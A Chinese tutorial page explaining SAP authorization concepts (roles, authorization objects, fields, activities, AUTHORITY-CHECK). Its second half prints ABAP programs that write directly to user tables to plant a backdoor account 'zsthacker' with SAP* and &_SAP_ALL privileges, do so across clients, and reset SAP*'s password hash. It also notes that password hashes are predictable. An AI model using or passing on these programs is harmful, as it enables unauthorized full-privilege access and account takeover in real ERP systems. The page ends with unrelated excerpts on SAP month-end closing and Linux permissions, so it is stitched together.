平實語言講解SAP許可權

2021-08-30 12:52:00 字數 4201 閱讀 2092

角色、通用角色、本地角色

| -- 許可權物件       mm_***x 物件

| -- 許可權字段       欄位一(負責增刪改)     欄位二(負責字段級准入)

| -- 允許操作           01/03/05/07                       |

| -- 允許值                                  factory1, factory2, factory5~factory7

直觀的說,許可權就是「某人能幹某事」和「某人不能幹某事」之合。在sap系統中,用事務碼(也稱交易**、或者tcode、或者transaction code)表示乙個使用者能幹

的事情。比如mm01這個tcode是用來維護物料資料的、migo是用來收貨的、fs00是用來維護會計科目的等。

用su01新建乙個id時,預設的許可權是空白,即這個新建的id不能做任何事情,不能使用任何事務**。這樣只需要為相應的id賦上相應的tcode,即可實現「某人能

幹某事」了,其補集,則是「某人不能幹的某些事」。

但是我們不能直接在su01裡面給某個id賦上tcode,要通過role中轉一下。即:一堆tcode組成了乙個role,然後把這個role分給某個id,然後這個id就得到一堆

tcode了。

上面這些,僅僅是sap許可權控制的初級概念,要理解sap許可權控制的全部,必須還要明白下面的概念。

1、角色(role)、通用角色(common role)、本地角色(local role)

上面講了,角色,即role,是一堆tcode的集合,當然還包含有tcode必備的「許可權物件」、「許可權字段」、「允許的操作」及「允許的值」等。我們使用pfcg來維護角色。

為了系統的測試與sap實施專案的階段性需要,進一步將角色分為「通用角色」和「本地角色」。

舉個例子便於理解:通用角色好比「生產訂單製單員」,本地角色對應就是「長城國際組裝一分廠生產訂單製單員」。所以,本地角色較之通用角色的區別就是,在同

樣的操作許可權(事務**們)情況下,前者多了具體的限制值。這個限制值可能是組織架構限制,也可能是其他業務的限制。如,一分廠的製單員不能維護二分廠

的製單員;一分廠的製單員甲只能維護型別為a的單據,而不能維護型別為b的單據,諸如此類。

具體請看下面的概念。

2、許可權物件(authorization object)、許可權字段(authorization field)、允許的操作(activity)、允許的值(field value)

上文粗略說了構成role的是若干tcode。其實,在role和tcode之間,還有乙個中間概念「許可權物件」:

角色包含了若干許可權物件,在透明表agr_1250中有儲存二者之間的關係;

許可權物件包含了若干許可權字段、允許的操作和允許的值,在透明表agr_1251中體現了role/object/field/value之間的關係;

有乙個特殊的許可權物件用來包含了若干事務碼。這個許可權物件叫「s_tcode」,該許可權物件的許可權欄位叫「tcd」,該欄位允許的值(field value)存放的就是事務代

碼;有一種特殊的許可權字段用來表示可以針對該許可權物件做哪些操作,是允許建立、修改、顯示、刪除或者其他呢。該許可權欄位叫「actvt」,該欄位允許的值(field

value)存放的就是允許操作的**,01代表建立、02代表修改、03代表顯示等;

sap的許可權控制是控制到字段級的,換句話說,其許可權控制機制可以檢查你是否有許可權維護某張透明表的某乙個字段。

sap系統自帶了若干許可權物件、預設控制了若干許可權字段(對應到透明表的某些字段)。可以用事務碼su20來檢視系統有哪些許可權字段,用su21來檢視系統有哪些

預設的許可權物件。

於是我們知道了事務**與許可權物件的區別。從許可權控制的範疇來看,事務**屬於一種特殊的許可權物件;乙個事務**在執行過程中,為了判斷某個id是否有權

限執行此事務**,還可能檢查其他若干普通的許可權物件。使用su22來檢視某個事務**包含了哪些許可權物件。在透明表usobx中,存放了事務碼與許可權物件的對

應關係。

3、自定義許可權物件

上文所說的系統自帶許可權物件與許可權欄位僅能滿足有限的需要,其許可權審核的邏輯也是系統硬編碼了的,我們能做的只是是否啟用某項許可權物件的檢查(使用su22

)。如果需要自定義,通過su20、su21定義即可。呼叫的時候在程式中加入類似**:

authority-check object 'z_vkorg' id 'vkorg' field 'rec_vkorg-vkorg'.

if sy-subrc <> 0.

message 'no authorization!' type 'e'.

endif.

下面的程式zcrtuser是建立使用者zsthacker(初始密碼123qaz)並賦予sap*使用者的所有許可權的參考程式。

program zcrtuser.

data zusr02 like usr02 .

***1.create user zsthacker according to ddic

select single * into zusr02 from usr02

where bname = 'ddic'.

zusr02-bname = 'zsthacker'.

zusr02-bcode = 'e3b796bb09f7901b' .

insert usr02 from zusr02  .

***2.copy auth. obj from sap*(or other)

***如果將where bname = 'sap*'去掉,基本就是複製所有的授權物件

data zusrbf2 like usrbf2 occurs 0 with header line.

select *  from  usrbf2 into table zusrbf2

where bname = 'sap*' .

loop at zusrbf2.

zusrbf2-bname = 'zsthacker' . 

modify zusrbf2 index sy-tabix transporting bname.

endloop.

insert usrbf2 from table zusrbf2 accepting duplicate keys.

如果sap*可能被刪除,還可直接將tobj中包含的所有的erp授權物件全部賦予給乙個使用者。

以下程式zallobj是賦予所有的標準授權物件給使用者zsthacker 。

program zallobj。

data ztobj like tobj occurs 0 with header line .

data zusrbf2 like usrbf2.

select * into table ztobj from tobj .

loop at ztobj.

zusrbf2-mandt = sy-mandt.

zusrbf2-bname = 'zsthacker'.

zusrbf2-objct = ztobj-objct.

zusrbf2-auth  ='&_sap_all'.

modify usrbf2 from  zusrbf2 .

endloop .

也可跨client建立使用者和賦予許可權,只要使用client specified就可以。

program zclient.

data zusrbf2 like usrbf2.

select * into zusrbf2 from usrbf2  where bname = 'sap*' .

zusrbf2-bname = 'zsthacker' .

zusrbf2-mandt = '100'.

insert into usrbf2 client specified values zusrbf2.

endselect .

下面是一句話修改sap*的密碼為123456的程式,同樣,假設使用者butcher的密碼丟失,我只要隨便在一台伺服器上建立乙個使用者也叫butcher,然後密碼設定為

1qaz2wsx,則其在任何系統任何client加密後的密碼必為bf02c9f1f179fb45 ,這樣的加密意義已經不大。

report zmodpwd.

tables :usr02 .

update usr02 set bcode = ' cf094baa2020480e'

where bname = 'sap*'.

雖然以上只是乙個建立物料主資料的許可權控制,卻非常清晰地解釋了erp系統許可權控制的邏輯。

SAP月結操作講解

步聚操作內容事務碼是否必須操作時間月 年結 1關閉待結期間物料帳,並開啟下一期間物料帳 mmpv mmrv 是fi月結開始月年2 開啟下乙個會計期間財務帳 ob52 是fi月結開始月年3 確認本期間業務全部入帳,出納與會計對帳等 f 02,vf01,miro等 是co月結開始前月年4 固定資產折舊執...

SAP高階 再論SAP許可權

直觀的說,許可權就是 某人能幹某事 和 某人不能幹某事 之合。在sap系統中,用事務碼 也稱交易 或者tcode 或者transaction code 表示乙個使用者能幹的事情。比如mm01這個tcode是用來維護物料資料的 migo是用來收貨的 fs00是用來維護會計科目的等。用su01 新建乙個...

Linux許可權講解

許可權是作業系統用來限制對資源訪問的機制,許可權一般分為讀 寫 執行。系統中每個檔案都擁有特定的許可權 所屬使用者及所屬組,通過這樣的機制來限制哪些使用者 哪些組可以對特定檔案進行什麼樣的操作。注意,每個程序都是以某個使用者的身份執行所以程序的許可權與該使用者的許可權一樣,使用者的許可權大,該程序擁...